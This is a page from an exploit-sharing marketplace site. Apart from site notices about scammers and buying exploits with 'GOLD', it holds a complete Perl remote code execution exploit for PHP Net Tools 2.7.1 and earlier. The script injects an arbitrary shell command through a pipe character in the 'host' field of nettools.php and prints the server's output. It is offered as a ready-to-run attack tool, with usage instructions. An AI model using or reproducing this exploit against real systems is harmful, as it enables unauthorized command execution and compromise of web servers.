0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
PHP Net Tools <= 2.7.1 Remote Code Execution Exploit
==================================================== PHP Net Tools <= 2.7.1 Remote Code Execution Exploit ==================================================== #!/usr/bin/perl # PHP Net Tools Remote Code Execution Exploit # # by FOX_MULDER (fox_mulder@abv.bg) # Vulnerability found by FOX_MULDER. # # "Born to be root !!!" #----------------------------------+ #PHP Net Tools | #Copyright (C) 2005 Eric Robertson | #h4rdc0d3@gmail.com | #----------------------------------+ # # Fact:Wbyte counted twice to infinity !!! # # ################################################### use LWP 5.64; my $hostname = $ARGV[0]; my $dir = $ARGV[1]; my $command = $ARGV[2]; if (@ARGV<2) { print "\nUsage: ntools.pl www.site.com /dir/ \"ls \-la\" \n"; exit(); } print "=======================================================\n"; print "0day 0day 0day 0day 0day 0day 0day 0day 0day 0day 0day\n"; print "PHP Net Tools Command Execution Exploit by FOX_MULDER\n"; print "fox_mulder@abv.bg\r\n"; print "=======================================================\n"; my $browser = LWP::UserAgent->new; $browser->agent('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)'); print "\n\n[+]Sending request to server . . .\r\n"; my $url = "http://$hostname$dir/nettools.php"; my $response = $browser->post( $url,[ 'ping' => '1', 'host' => "|$command"]); my $code = $response->status_line; print "[+] HTTP RESPONSE $code\n"; print "\n[+]Injecting command . . .\n"; $response->content =~ /blockquote>(.*)<\/blockquote>/s; print "$1\n"; # 0day.today [2024-11-15] #